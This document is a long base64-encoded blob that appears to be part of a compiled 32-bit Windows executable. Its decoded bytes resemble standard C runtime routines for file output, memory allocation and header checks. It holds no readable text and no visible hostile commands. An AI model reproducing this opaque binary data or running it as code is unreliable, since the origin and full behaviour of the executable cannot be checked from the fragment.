KCogIQEI6y3QeT3Xz6xmKCogIQEI6y3QIT3QF/00Ude45XRR1AogYO/t1i4N9FP91D4tFDGpQiFwG/1jpeP///4ge6JKg//9qIlmJCIvx64LMzMzMzFWL7FYzwFBQUFBQUFBQi1UMjUkAigIKwHQJg8IBD6sEJOvxi3UIi/+KBgrAdAyDxgEPowQkc/GNRv+DxCBeycOL/1WL7IPsEP91CI1N8OjRk///g30U/30EM8DrEv91GP91FP91EP91DP8VLAEBEIB9/AB0B4tN+INhcP3Jw4v/VYvsUVGLRQxWi3UIiUX4i0UQV1aJRfzoph4AAIPP/1k7x3UR6Nuf///HAAkAAACLx4vX60r/dRSNTfxR/3X4UP8VNAEBEIlF+DvHdRP/FRwAARCFwHQJUOjNn///WevPi8bB+AWLBIUgewEQg+YfweYGjUQwBIAg/YtF+ItV/F9eycNqFGhIMQEQ6MHc//+Dzv+JddyJdeCLRQiD+P51HOhyn///gyAA6Fef///HAAkAAACLxovW6dAAAAAz/zvHfAg7BQh7ARByIehIn///iTjoLp///8cACQAAAFdXV1dX6Lae//+DxBTryIvIwfkFjRyNIHsBEIvwg+YfweYGiwsPvkwxBIPhAXUm6Aef//+JOOjtnv//xwAJAAAAV1dXV1fodZ7//4PEFIPK/4vC61tQ6AIeAABZiX38iwP2RDAEAXQc/3UU/3UQ/3UM/3UI6Kn+//+DxBCJRdyJVeDrGuifnv//xwAJAAAA6Kee//+JOINN3P+DTeD/x0X8/v///+gMAAAAi0Xci1Xg6ATc///D/3UI6D8eAABZw4v/VYvsuOQaAADoJR8AAKEcUAEQM8WJRfyLRQxWM/aJhTTl//+JtTjl//+JtTDl//85dRB1BzPA6ekGAAA7xnUn6DWe//+JMOgbnv//VlZWVlbHABYAAADoo53//4PEFIPI/+m+BgAAU1eLfQiLx8H4BY00hSB7ARCLBoPnH8HnBgPHilgkAtvQ+4m1KOX//4idJ+X//4D7AnQFgPsBdTCLTRD30fbBAXUm6Myd//8z9okw6LCd//9WVlZWVscAFgAAAOg4nf//g8QU6UMGAAD2QAQgdBFqAmoAagD/dQjofv3//4PEEP91COhpBwAAWYXAD4SdAgAAiwb2RAcEgA+EkAIAAOiwr///i0BsM8k5SBSNhRzl//8PlMFQiwb/NAeJjSDl////FUABARCFwA+EYAIAADPJOY0g5f//dAiE2w+EUAIAAP8VPAEBEIudNOX//4mFHOX//zPAiYU85f//OUUQD4ZCBQAAiYVE5f//ioUn5f//hMAPhWcBAACKC4u1KOX//zPAgPkKD5TAiYUg5f//iwYDx4N4OAB0FYpQNIhV9IhN9YNgOABqAo1F9FDrSw++wVDoC5H//1mFwHQ6i4005f//K8sDTRAzwEA7yA+GpQEAAGoCjYVA5f//U1DokgsAAIPEDIP4/w+EsQQAAEP/hUTl///rG2oBU42FQOX//1DobgsAAIPEDIP4/w+EjQQAADPAUFBqBY1N9FFqAY2NQOX//1FQ/7Uc5f//Q/+FROX///8V3AABEIvwhfYPhFwEAABqAI2FPOX//1BWjUX0UIuFKOX//4sA/zQH/xU4AQEQhcAPhCkEAACLhUTl//+LjTDl//8DwTm1POX//4mFOOX//w+MFQQAAIO9IOX//wAPhM0AAABqAI2FPOX//1BqAY1F9FCLhSjl//+LAMZF9A3/NAf/FTgBARCFwA+E0AMAAIO9POX//wEPjM8DAAD/hTDl////hTjl///pgwAAADwBdAQ8AnUhD7czM8lmg/4KD5TBQ0ODhUTl//8CibVA5f//iY0g5f//PAF0BDwCdVL/tUDl///oQxsAAFlmO4VA5f//D4VoAwAAg4U45f//AoO9IOX//wB0KWoNWFCJhUDl///oFhsAAFlmO4VA5f//D4U7AwAA/4U45f///4Uw5f//i0UQOYVE5f//D4L5/f//6ScDAACLDooT/4U45f//iFQPNIsOiUQPOOkOAwAAM8mLBgPH9kAEgA+EvwIAAIuFNOX//4mNQOX//4TbD4XKAAAAiYU85f//OU0QD4YgAwAA6waLtSjl//+LjTzl//+DpUTl//8AK4005f//jYVI5f//O00QczmLlTzl////hTzl//+KEkGA+gp1EP+FMOX//8YADUD/hUTl//+IEED/hUTl//+BvUTl////EwAAcsKL2I2FSOX//yvYagCNhSzl//9QU42FSOX//1CLBv80B/8VOAEBEIXAD4RCAgAAi4Us5f//AYU45f//O8MPjDoCAACLhTzl//8rhTTl//87RRAPgkz////pIAIAAImFROX//4D7Ag+F0QAAADlNEA+GTQIAAOsGi7Uo5f//i41E5f//g6U85f//ACuNNOX//42FSOX//ztNEHNGi5VE5f//g4VE5f//Ag+3EkFBZoP6CnUWg4Uw5f//AmoNW2aJGEBAg4U85f//AoOFPOX//wJmiRBAQIG9POX///4TAABytYvYjYVI5f//K9hqAI2FLOX//1BTjYVI5f//UIsG/zQH/xU4AQEQhcAPhGIBAACLhSzl//8BhTjl//87ww+MWgEAAIuFROX//yuFNOX//ztFEA+CP////+lAAQAAOU0QD4Z8AQAAi41E5f//g6U85f//ACuNNOX//2oCjYVI+f//XjtNEHM8i5VE5f//D7cSAbVE5f//A85mg/oKdQ5qDVtmiRgDxgG1POX//wG1POX//2aJEAPGgb085f//qAYAAHK/M/ZWVmhVDQAAjY3w6///UY2NSPn//yvBmSvC0fhQi8FQVmjp/QAA/xXcAAEQi9g73g+ElwAAAGoAjYUs5f//UIvDK8ZQjYQ18Ov//1CLhSjl//+LAP80B/8VOAEBEIXAdAwDtSzl//873n/L6wz/FRwAARCJhUDl//873n9ci4VE5f//K4U05f//iYU45f//O0UQD4IK////6z9qAI2NLOX//1H/dRD/tTTl////MP8VOAEBEIXAdBWLhSzl//+DpUDl//8AiYU45f//6wz/FRwAARCJhUDl//+DvTjl//8AdWyDvUDl//8AdC1qBV45tUDl//91FOijl///xwAJAAAA6KuX//+JMOs//7VA5f//6K+X//9Z6zGLtSjl//+LBvZEBwRAdA+LhTTl//+AOBp1BDPA6yToY5f//8cAHAAAAOhrl///gyAAg8j/6wyLhTjl//8rhTDl//9fW4tN/DPNXui3iP//ycNqEGhoMQEQ6HXU//+LRQiD+P51G+gvl///gyAA6BSX///HAAkAAACDyP/pnQAAADP/O8d8CDsFCHsBEHIh6AaX//+JOOjslv//xwAJAAAAV1dXV1fodJb//4PEFOvJi8jB+QWNHI0gewEQi/CD5h/B5gaLCw++TDEEg+EBdL9Q6OYVAABZiX38iwP2RDAEAXQW/3UQ/3UM/3UI6C74//+DxAyJReTrFuiJlv//xwAJAAAA6JGW//+JOINN5P/HRfz+////6AkAAACLReTo9dP//8P/dQjoMBYAAFnDi/9Vi+z/BVBmARBoABAAAOggxv//WYtNCIlBCIXAdA2DSQwIx0EYABAAAOsRg0kMBI1BFIlBCMdBGAIAAACLQQiDYQQAiQFdw4v/VYvsi0UIg/j+dQ/o/pX//8cACQAAADPAXcNWM/Y7xnwIOwUIewEQchzo4JX//1ZWVlZWxwAJAAAA6GiV//+DxBQzwOsai8iD4B/B+QWLDI0gewEQweAGD75EAQSD4EBeXcO4oFoBEMOh4HoBEFZqFF6FwHUHuAACAADrBjvGfQeLxqPgegEQagRQ6KDF//9ZWaPcagEQhcB1HmoEVok14HoBEOiHxf//WVmj3GoBEIXAdQVqGlhewzPSuaBaARDrBaHcagEQiQwCg8Egg8IEgfkgXQEQfOpq/l4z0rmwWgEQV4vCwfgFiwSFIHsBEIv6g+cfwecGiwQHg/j/dAg7xnQEhcB1Aokxg8EgQoH5EFsBEHzOXzPAXsPoEBgAAIA9lGMBEAB0BejZFQAA/zXcagEQ6MOO//9Zw4v/VYvsVot1CLigWgEQO/ByIoH+AF0BEHcai84ryMH5BYPBEFHo/dX//4FODACAAABZ6wqDxiBW/xUEAQEQXl3Di/9Vi+yLRQiD+BR9FoPAEFDo0NX//4tFDIFIDACAAABZXcOLRQyDwCBQ/xUEAQEQXcOL/1WL7ItFCLmgWgEQO8FyHz0AXQEQdxiBYAz/f///K8HB+AWDwBBQ6K3U//9ZXcODwCBQ/xUAAQEQXcOL/1WL7ItNCIP5FItFDH0TgWAM/3///4PBEFHoftT//1ldw4PAIFD/FQABARBdw4v/VYvsi0UIVjP2O8Z1Hejjk///VlZWVlbHABYAAADoa5P//4PEFIPI/+sDi0AQXl3Di/9Vi+yD7BChHFABEDPFiUX8U1aLdQz2RgxAVw+FNgEAAFbopv///1m7GFgBEIP4/3QuVuiV////WYP4/nQiVuiJ////wfgFVo08hSB7ARDoef///4PgH1nB4AYDB1nrAovDikAkJH88Ag+E6AAAAFboWP///1mD+P90LlboTP///1mD+P50IlboQP///8H4BVaNPIUgewEQ6DD///+D4B9ZweAGAwdZ6wKLw4pAJCR/PAEPhJ8AAABW6A////9Zg/j/dC5W6AP///9Zg/j+dCJW6Pf+///B+AVWjTyFIHsBEOjn/v//g+AfWcHgBgMHWesCi8P2QASAdF3/dQiNRfRqBVCNRfBQ6MEYAACDxBCFwHQHuP//AADrXTP/OX3wfjD/TgR4EosGikw99IgIiw4PtgFBiQ7rDg++RD30VlDoFqn//1lZg/j/dMhHO33wfNBmi0UI6yCDRgT+eA2LDotFCGaJAYMGAusND7dFCFZQ6HgVAABZWYtN/F9eM81b6MCD///Jw4v/Vlcz/423KF0BEP826Lah//+DxwRZiQaD/yhy6F9ew6EcUAEQg8gBM8k5BVRmARAPlMGLwcOL/1WL7IPsEFNWi3UMM9s783QVOV0QdBA4HnUSi0UIO8N0BTPJZokIM8BeW8nD/3UUjU3w6G6F//+LRfA5WBR1H4tFCDvDdAdmD7YOZokIOF38dAeLRfiDYHD9M8BA68qNRfBQD7YGUOjBhf//WVmFwHR9i0Xwi4isAAAAg/kBfiU5TRB8IDPSOV0ID5XCUv91CFFWagn/cAT/FSABARCFwItF8HUQi00QO4isAAAAciA4XgF0G4uArAAAADhd/A+EZf///4tN+INhcP3pWf///+gxkf//xwAqAAAAOF38dAeLRfiDYHD9g8j/6Tr///8zwDldCA+VwFD/dQiLRfBqAVZqCf9wBP8VIAEBEIXAD4U6////67qL/1WL7GoA/3UQ/3UM/3UI6NT+//+DxBBdw8zMVotEJBQLwHUoi0wkEItEJAwz0vfxi9iLRCQI9/GL8IvD92QkEIvIi8b3ZCQQA9HrR4vIi1wkEItUJAyLRCQI0enR29Hq0dgLyXX09/OL8PdkJBSLyItEJBD35gPRcg47VCQMdwhyDztEJAh2CU4rRCQQG1QkFDPbK0QkCBtUJAz32vfYg9oAi8qL04vZi8iLxl7CEABqDGiIMQEQ6H/N//+LTQgz/zvPdi5q4Fgz0vfxO0UMG8BAdR/oFpD//8cADAAAAFdXV1dX6J6P//+DxBQzwOnVAAAAD69NDIvxiXUIO/d1AzP2RjPbiV3kg/7gd2mDPQR7ARADdUuDxg+D5vCJdQyLRQg7BfB6ARB3N2oE6BDR//9ZiX38/3UI6BbZ//9ZiUXkx0X8/v///+hfAAAAi13kO990Ef91CFdT6A2K//+DxAw733VhVmoI/zWsZAEQ/xUIAQEQi9g733VMOT2YaQEQdDNW6Ijk//9ZhcAPhXL///+LRRA7xw+EUP///8cADAAAAOlF////M/+LdQxqBOi0z///WcM733UNi0UQO8d0BscADAAAAIvD6LPM///DahBoqDEBEOhhzP//i10Ihdt1Dv91DOis3///WenMAQAAi3UMhfZ1DFPo34j//1nptwEAAIM9BHsBEAMPhZMBAAAz/4l95IP+4A+HigEAAGoE6B3Q//9ZiX38U+hG0P//WYlF4DvHD4SeAAAAOzXwegEQd0lWU1DoKNX//4PEDIXAdAWJXeTrNVbo99f//1mJReQ7x3Qni0P8SDvGcgKLxlBT/3Xk6HOJ//9T6PbP//+JReBTUOgc0P//g8QYOX3kdUg793UGM/ZGiXUMg8YPg+bwiXUMVlf/NaxkARD/FQgBARCJReQ7x3Qgi0P8SDvGcgKLxlBT/3Xk6B+J//9T/3Xg6M/P//+DxBTHRfz+////6C4AAACDfeAAdTGF9nUBRoPGD4Pm8Il1DFZTagD/NaxkARD/FRABARCL+OsSi3UMi10IagToTs7//1nDi33khf8Phb8AAAA5PZhpARB0LFbo3OL//1mFwA+F0v7//+itjf//OX3gdWyL8P8VHAABEFDoWI3//1mJButfhf8PhYMAAADoiI3//zl94HRoxwAMAAAA63GF9nUBRlZTagD/NaxkARD/FRABARCL+IX/dVY5BZhpARB0NFboc+L//1mFwHQfg/7gds1W6GPi//9Z6DyN///HAAwAAAAzwOjAyv//w+gpjf//6Xz///+F/3UW6BuN//+L8P8VHAABEFDoy4z//4kGWYvH69KL/1WL7FFRU4tdCFZXM/Yz/4l9/Dsc/VBdARB0CUeJffyD/xdy7oP/Fw+DdwEAAGoD6MIWAABZg/gBD4Q0AQAAagPosRYAAFmFwHUNgz3QXwEQAQ+EGwEAAIH7/AAAAA+EQQEAAGi8GgEQuxQDAABTv1hmARBX6OPb//+DxAyFwHQNVlZWVlbo6or//4PEFGgEAQAAvnFmARBWagDGBXVnARAA/xXMAAEQhcB1JmikGgEQaPsCAABW6KHb//+DxAyFwHQPM8BQUFBQUOimiv//g8QUVuj52///QFmD+Dx2OFbo7Nv//4PuOwPGagO5bGkBEGjICgEQK8hRUOjI6v//g8QUhcB0ETP2VlZWVlboY4r//4PEFOsCM/ZooBoBEFNX6OPp//+DxAyFwHQNVlZWVlboP4r//4PEFItF/P80xVRdARBTV+i+6f//g8QMhcB0DVZWVlZW6BqK//+DxBRoECABAGh4GgEQV+ggFAAAg8QM6zJq9P8VvAABEIvYO950JIP7/3QfagCNRfhQjTT9VF0BEP826Dfb//9ZUP82U/8VOAEBEF9eW8nDagPoRhUAAFmD+AF0FWoD6DkVAABZhcB1H4M90F8BEAF1Fmj8AAAA6Cn+//9o/wAAAOgf/v//WVnDzMzMzMzMzMzMzMzMzMyL/1WL7ItNCLhNWgAAZjkBdAQzwF3Di0E8A8GBOFBFAAB17zPSuQsBAABmOUgYD5TCi8Jdw8zMzMzMzMzMzMzMi/9Vi+yLRQiLSDwDyA+3QRRTVg+3cQYz0leNRAgYhfZ2G4t9DItIDDv5cgmLWAgD2Tv7cgpCg8AoO9Zy6DPAX15bXcPMzMzMzMzMzMzMzMyL/1WL7Gr+aMgxARBogIkAEGShAAAAAFCD7AhTVlehHFABEDFF+DPFUI1F8GSjAAAAAIll6MdF/AAAAABoAAAAEOgq////g8QEhcB0VYtFCC0AAAAQUGgAAAAQ6FD///+DxAiFwHQ7i0Akwegf99CD4AHHRfz+////i03wZIkNAAAAAFlfXluL5V3Di0XsiwiLATPSPQUAAMAPlMKLwsOLZejHRfz+////M8CLTfBkiQ0AAAAAWV9eW4vlXcNqCGjoMQEQ6AfH///oCJz//4tAeIXAdBaDZfwA/9DrBzPAQMOLZejHRfz+////6NETAADoIMf//8Po25v//4tAfIXAdAL/0Om0////aghoCDIBEOi7xv///zVsaQEQ6GqZ//9ZhcB0FoNl/AD/0OsHM8BAw4tl6MdF/P7////off///8xoDcIAEOjEmP//WaNsaQEQw4v/VYvsi0UIo3BpARCjdGkBEKN4aQEQo3xpARBdw4v/VYvsi0UIiw1oWAEQVjlQBHQPi/Fr9gwDdQiDwAw7xnLsa8kMA00IXjvBcwU5UAR0AjPAXcP/NXhpARDo2Jj//1nDaiBoKDIBEOgQxv//M/+JfeSJfdiLXQiD+wt/THQVi8NqAlkrwXQiK8F0CCvBdGQrwXVE6HGa//+L+Il92IX/dRSDyP/pYQEAAL5waQEQoXBpARDrYP93XIvT6F3///+L8IPGCIsG61qLw4PoD3Q8g+gGdCtIdBzoVIj//8cAFgAAADPAUFBQUFDo2of//4PEFOuuvnhpARCheGkBEOsWvnRpARChdGkBEOsKvnxpARChfGkBEMdF5AEAAABQ6BSY//+JReBZM8CDfeABD4TYAAAAOUXgdQdqA+hNu///OUXkdAdQ6DnJ//9ZM8CJRfyD+wh0CoP7C3QFg/sEdRuLT2CJTdSJR2CD+wh1QItPZIlN0MdHZIwAAACD+wh1LosNXFgBEIlN3IsNYFgBEIsVXFgBEAPKOU3cfRmLTdxryQyLV1yJRBEI/0Xc69vofJf//4kGx0X8/v///+gVAAAAg/sIdR//d2RT/1XgWesZi10Ii33Yg33kAHQIagDox8f//1nDU/9V4FmD+wh0CoP7C3QFg/sEdRGLRdSJR2CD+wh1BotF0IlHZDPA6LLE///Di/9Vi+yLRQijhGkBEF3Di/9Vi+yLRQijkGkBEF3Di/9Vi+yLRQijlGkBEF3DahBoSDIBEOgzxP//g2X8AP91DP91CP8VSAEBEIlF5Osvi0XsiwCLAIlF4DPJPRcAAMAPlMGLwcOLZeiBfeAXAADAdQhqCP8VrAABEINl5ADHRfz+////i0Xk6CXE///Di/9Vi+yD7BD/dQiNTfDoIHr//w+2RQyLTfSKVRSEVAEddR6DfRAAdBKLTfCLicgAAAAPtwRBI0UQ6wIzwIXAdAMzwECAffwAdAeLTfiDYXD9ycOL/1WL7GoEagD/dQhqAOia////g8QQXcPMzMzMi0QkCItMJBALyItMJAx1CYtEJAT34cIQAFP34YvYi0QkCPdkJBQD2ItEJAj34QPTW8IQAIv/VYvsagpqAP91COg9DgAAg8QMXcPMzFWL7FNWV1VqAGoAaBTGABD/dQjodhoAAF1fXluL5V3Di0wkBPdBBAYAAAC4AQAAAHQyi0QkFItI/DPI6Bh3//9Vi2gQi1AoUotQJFLoFAAAAIPECF2LRCQIi1QkEIkCuAMAAADDU1ZXi0QkEFVQav5oHMYAEGT/NQAAAAChHFABEDPEUI1EJARkowAAAACLRCQoi1gIi3AMg/7/dDqDfCQs/3QGO3QkLHYtjTR2iwyziUwkDIlIDIN8swQAdRdoAQEAAItEswjoSQAAAItEswjoXwAAAOu3i0wkBGSJDQAAAACDxBhfXlvDM8Bkiw0AAAAAgXkEHMYAEHUQi1EMi1IMOVEIdQW4AQAAAMNTUbsQXgEQ6wtTUbsQXgEQi0wkDIlLCIlDBIlrDFVRUFhZXVlbwgQA/9DDahBoaDIBEOjhwf//M8CLXQgz/zvfD5XAO8d1HeiAhP//xwAWAAAAV1dXV1foCIT//4PEFIPI/+tTgz0EewEQA3U4agToqsX//1mJffxT6NPF//9ZiUXgO8d0C4tz/IPuCYl15OsDi3Xkx0X8/v///+glAAAAOX3gdRBTV/81rGQBEP8VTAEBEIvwi8boocH//8Mz/4tdCIt15GoE6HjE//9Zw4v/VYvsg+wMoRxQARAzxYlF/GoGjUX0UGgEEAAA/3UIxkX6AP8VMAEBEIXAdQWDyP/rCo1F9FDo0v3//1mLTfwzzeg3df//ycOL/1WL7IPsNKEcUAEQM8WJRfyLRRCLTRiJRdiLRRRTiUXQiwBWiUXci0UIVzP/iU3MiX3giX3UO0UMD4RfAQAAizV8AAEQjU3oUVD/1osdIAEBEIXAdF6DfegBdViNRehQ/3UM/9aFwHRLg33oAXVFi3Xcx0XUAQAAAIP+/3UM/3XY6PrS//+L8FlGO/d+W4H+8P//f3dTjUQ2CD0ABAAAdy/oGgEAAIvEO8d0OMcAzMwAAOstV1f/ddz/ddhqAf91CP/Ti/A793XDM8Dp0QAAAFDohNP//1k7x3QJxwDd3QAAg8AIiUXk6wOJfeQ5feR02I0ENlBX/3Xk6DJ9//+DxAxW/3Xk/3Xc/3XYagH/dQj/04XAdH+LXcw733QdV1f/dRxTVv915Ff/dQz/FdwAARCFwHRgiV3g61uLHdwAARA5fdR1FFdXV1dW/3XkV/91DP/Ti/A793Q8VmoB6HSy//9ZWYlF4DvHdCtXV1ZQVv915Ff/dQz/0zvHdQ7/deDoHHz//1mJfeDrC4N93P90BYtN0IkB/3Xk6KzX//9Zi0XgjWXAX15bi038M83og3P//8nDzMzMzMzMzMzMzMzMzFGNTCQIK8iD4Q8DwRvJC8FZ6aoCAABRjUwkCCvIg+EHA8EbyQvBWemUAgAAi/9Vi+yLTQhTM9s7y1ZXfFs7DQh7ARBzU4vBwfgFi/GNPIUgewEQiweD5h/B5gYDxvZABAF0NYM4/3Qwgz3QXwEQAXUdK8t0EEl0CEl1E1Nq9OsIU2r16wNTavb/FVgAARCLB4MMBv8zwOsV6FeB///HAAkAAADoX4H//4kYg8j/X15bXcOL/1WL7ItFCIP4/nUY6EOB//+DIADoKIH//8cACQAAAIPI/13DVjP2O8Z8IjsFCHsBEHMai8iD4B/B+QWLDI0gewEQweAGA8H2QAQBdSToAoH//4kw6OiA//9WVlZWVscACQAAAOhwgP//g8QUg8j/6wKLAF5dw2oMaIgyARDoC77//4t9CIvHwfgFi/eD5h/B5gYDNIUgewEQx0XkAQAAADPbOV4IdTZqCujlwf//WYld/DleCHUaaKAPAACNRgxQ6In5//9ZWYXAdQOJXeT/RgjHRfz+////6DAAAAA5XeR0HYvHwfgFg+cfwecGiwSFIHsBEI1EOAxQ/xUEAQEQi0Xk6Mu9///DM9uLfQhqCuilwP//WcOL/1WL7ItFCIvIg+AfwfkFiwyNIHsBEMHgBo1EAQxQ/xUAAQEQXcOL/1WL7IPsEKEcUAEQM8WJRfxWM/Y5NdBeARB0T4M9VF8BEP51BeiWCwAAoVRfARCD+P91B7j//wAA63BWjU3wUWoBjU0IUVD/FUAAARCFwHVngz3QXgEQAnXa/xUcAAEQg/h4dc+JNdBeARBWVmoFjUX0UGoBjUUIUFb/FVAAARBQ/xXcAAEQiw1UXwEQg/n/dKJWjVXwUlCNRfRQUf8VVAABEIXAdI1mi0UIi038M81e6M1w///Jw8cF0F4BEAEAAADr48zMzMzMzMzMzMzMUY1MJAQryBvA99AjyIvEJQDw//87yHIKi8FZlIsAiQQkwy0AEAAAhQDr6WoQaKgyARDoSbz//zPbiV3kagHoQ8D//1mJXfxqA1+JfeA7PeB6ARB9V4v3weYCodxqARADxjkYdESLAPZADIN0D1DoQQsAAFmD+P90A/9F5IP/FHwoodxqARCLBAaDwCBQ/xXIAAEQodxqARD/NAbogHj//1mh3GoBEIkcBkfrnsdF/P7////oCQAAAItF5OgFvP//w2oB6OS+//9Zw4v/VYvsU1aLdQiLRgyLyIDhAzPbgPkCdUCpCAEAAHQ5i0YIV4s+K/iF/34sV1BW6D/q//9ZUOj65v//g8QMO8d1D4tGDITAeQ+D4P2JRgzrB4NODCCDy/9fi0YIg2YEAIkGXovDW13Di/9Vi+xWi3UIhfZ1CVboNQAAAFnrL1bofP///1mFwHQFg8j/6x/3RgwAQAAAdBRW6Nbp//9Q6MMKAABZ99hZG8DrAjPAXl3DahRoyDIBEOj6uv//M/+JfeSJfdxqAejxvv//WYl9/DP2iXXgOzXgegEQD42DAAAAodxqARCNBLA5OHReiwD2QAyDdFZQVujb6P//WVkz0kKJVfyh3GoBEIsEsItIDPbBg3QvOVUIdRFQ6Er///9Zg/j/dB7/ReTrGTl9CHUU9sECdA9Q6C////9Zg/j/dQMJRdyJffzoCAAAAEbrhDP/i3XgodxqARD/NLBW6OTo//9ZWcPHRfz+////6BIAAACDfQgBi0XkdAOLRdzoe7r//8NqAehavf//WcNqAegf////WcOL/1WL7FFWi3UMVujQ6P//iUUMi0YMWaiCdRnot3z//8cACQAAAINODCC4//8AAOk9AQAAqEB0DeiafP//xwAiAAAA6+GoAXQXg2YEAKgQD4SNAAAAi04Ig+D+iQ6JRgyLRgyDZgQAg2X8AFNqAoPg71sLw4lGDKkMAQAAdSzoqOb//4PAIDvwdAzonOb//4PAQDvwdQ3/dQzoKeb//1mFwHUHVujV5f//WfdGDAgBAABXD4SDAAAAi0YIiz6NSAKJDotOGCv4K8uJTgSF/34dV1D/dQzoyOT//4PEDIlF/OtOg8ggiUYM6T3///+LTQyD+f90G4P5/nQWi8GD4B+L0cH6BcHgBgMElSB7ARDrBbgYWAEQ9kAEIHQVU2oAagBR6DDc//8jwoPEEIP4/3Qti0YIi10IZokY6x1qAo1F/FD/dQyL+4tdCGaJXfzoUOT//4PEDIlF/Dl9/HQLg04MILj//wAA6weLwyX//wAAX1teycOL/1WL7IPsEFNWi3UMM9tXi30QO/N1FDv7dhCLRQg7w3QCiRgzwOmDAAAAi0UIO8N0A4MI/4H/////f3Yb6CF7//9qFl5TU1NTU4kw6Kp6//+DxBSLxutW/3UYjU3w6KBu//+LRfA5WBQPhZwAAABmi0UUuf8AAABmO8F2NjvzdA87+3YLV1NW6FJ1//+DxAzoznr//8cAKgAAAOjDev//iwA4Xfx0B4tN+INhcP1fXlvJwzvzdDI7+3cs6KN6//9qIl5TU1NTU4kw6Cx6//+DxBQ4XfwPhHn///+LRfiDYHD96W3///+IBotFCDvDdAbHAAEAAAA4XfwPhCX///+LRfiDYHD96Rn///+NTQxRU1dWagGNTRRRU4ldDP9wBP8V3AABEDvDdBQ5XQwPhV7///+LTQg7y3S9iQHruf8VHAABEIP4eg+FRP///zvzD4Rn////O/sPhl////9XU1boe3T//4PEDOlP////i/9Vi+xqAP91FP91EP91DP91COh8/v//g8QUXcNqAui+qv//WcOL/1WL7IPsFFZX/3UIjU3s6Fxt//+LRRCLdQwz/zvHdAKJMDv3dSzopXn//1dXV1dXxwAWAAAA6C15//+DxBSAffgAdAeLRfSDYHD9M8Dp2AEAADl9FHQMg30UAnzJg30UJH/Di03sU4oeiX38jX4Bg7msAAAAAX4XjUXsUA+2w2oIUOgmBwAAi03sg8QM6xCLkcgAAAAPtsMPtwRCg+AIhcB0BYofR+vHgPstdQaDTRgC6wWA+yt1A4ofR4tFFIXAD4xLAQAAg/gBD4RCAQAAg/gkD485AQAAhcB1KoD7MHQJx0UUCgAAAOs0igc8eHQNPFh0CcdFFAgAAADrIcdFFBAAAADrCoP4EHUTgPswdQ6KBzx4dAQ8WHUER4ofR4uxyAAAALj/////M9L3dRQPtssPtwxO9sEEdAgPvsuD6TDrG/fBAwEAAHQxisuA6WGA+RkPvst3A4PpIIPByTtNFHMZg00YCDlF/HIndQQ7ynYhg00YBIN9EAB1I4tFGE+oCHUgg30QAHQDi30Mg2X8AOtbi138D69dFAPZiV38ih9H64u+////f6gEdRuoAXU9g+ACdAmBffwAAACAdwmFwHUrOXX8diboBHj///ZFGAHHACIAAAB0BoNN/P/rD/ZFGAJqAFgPlcADxolF/ItFEIXAdAKJOPZFGAJ0A/dd/IB9+AB0B4tF9INgcP2LRfzrGItFEIXAdAKJMIB9+AB0B4tF9INgcP0zwFtfXsnDi/9Vi+wzwFD/dRD/dQz/dQg5BTRjARB1B2gAWAEQ6wFQ6Kv9//+DxBRdw4v/VYvsg+wUU1ZX6GSH//+DZfwAgz1gagEQAIvYD4WOAAAAaHwbARD/FUQBARCL+IX/D4QqAQAAizWYAAEQaHAbARBX/9aFwA+EFAEAAFDorob//8cEJGAbARBXo2BqARD/1lDomYb//8cEJEwbARBXo2RqARD/1lDohIb//8cEJDAbARBXo2hqARD/1lDob4b//1mjcGoBEIXAdBRoGBsBEFf/1lDoV4b//1mjbGoBEKFsagEQO8N0TzkdcGoBEHRHUOi1hv///zVwagEQi/DoqIb//1lZi/iF9nQshf90KP/WhcB0GY1N+FFqDI1N7FFqAVD/14XAdAb2RfQBdQmBTRAAACAA6zmhZGoBEDvDdDBQ6GWG//9ZhcB0Jf/QiUX8hcB0HKFoagEQO8N0E1DoSIb//1mFwHQI/3X8/9CJRfz/NWBqARDoMIb//1mFwHQQ/3UQ/3UM/3UI/3X8/9DrAjPAX15bycOL/1WL7ItNCFYz9jvOfB6D+QJ+DIP5A3UUocxfARDrKKHMXwEQiQ3MXwEQ6xvo3HX//1ZWVlZWxwAWAAAA6GR1//+DxBSDyP9eXcOL/1WL7IHsKAMAAKEcUAEQM8WJRfz2BeBeARABVnQIagrol+j//1nouuz//4XAdAhqFui87P//WfYF4F4BEAIPhMoAAACJheD9//+Jjdz9//+Jldj9//+JndT9//+JtdD9//+Jvcz9//9mjJX4/f//ZoyN7P3//2aMncj9//9mjIXE/f//ZoylwP3//2aMrbz9//+cj4Xw/f//i3UEjUUEiYX0/f//x4Uw/f//AQABAIm16P3//4tA/GpQiYXk/f//jYXY/P//agBQ6HBv//+Nhdj8//+DxAyJhSj9//+NhTD9//9qAMeF2Pz//xUAAECJteT8//+JhSz9////FXAAARCNhSj9//9Q/xVsAAEQagPoCKj//8zMzMzMzMzMzFWL7FdWU4tNEAvJdE2LdQiLfQy3QbNatiCNSQCKJgrkigd0JwrAdCODxgGDxwE653IGOuN3AgLmOsdyBjrDdwICxjrgdQuD6QF10TPJOuB0Cbn/////cgL32YvBW15fycMzwFBQagNQagNoAAAAQGiIGwEQ/xUYAAEQo1RfARDDoVRfARBWizU0AAEQg/j/dAiD+P50A1D/1qFQXwEQg/j/dAiD+P50A1D/1l7Di/9Vi+xTVot1CFcz/4PL/zv3dRzo3nP//1dXV1dXxwAWAAAA6GZz//+DxBQLw+tC9kYMg3Q3VuhR9f//VovY6LEDAABW6Lbf//9Q6NgCAACDxBCFwH0Fg8v/6xGLRhw7x3QKUOh6bf//WYl+HIl+DIvDX15bXcNqDGjwMgEQ6MCw//+DTeT/M8CLdQgz/zv3D5XAO8d1Hehbc///xwAWAAAAV1dXV1fo43L//4PEFIPI/+sM9kYMQHQMiX4Mi0Xk6MOw///DVuhW3v//WYl9/FboKv///1mJReTHRfz+////6AUAAADr1Yt1CFbopN7//1nDahBoEDMBEOhEsP//i0UIg/j+dRPo63L//8cACQAAAIPI/+mqAAAAM9s7w3wIOwUIewEQchroynL//8cACQAAAFNTU1NT6FJy//+DxBTr0IvIwfkFjTyNIHsBEIvwg+YfweYGiw8PvkwOBIPhAXTGUOjE8f//WYld/IsH9kQGBAF0Mf91COg48f//WVD/FTAAARCFwHUL/xUcAAEQiUXk6wOJXeQ5XeR0Gehpcv//i03kiQjoTHL//8cACQAAAINN5P/HRfz+////6AkAAACLReTov6///8P/dQjo+vH//1nDi/9Vi+yD7BhT/3UQjU3o6K9l//+LXQiNQwE9AAEAAHcPi0Xoi4DIAAAAD7cEWOt1iV0IwX0ICI1F6FCLRQgl/wAAAFDoAWb//1lZhcB0EopFCGoCiEX4iF35xkX6AFnrCjPJiF34xkX5AEGLRehqAf9wFP9wBI1F/FBRjUX4UI1F6GoBUOjyzP//g8QghcB1EDhF9HQHi0Xwg2B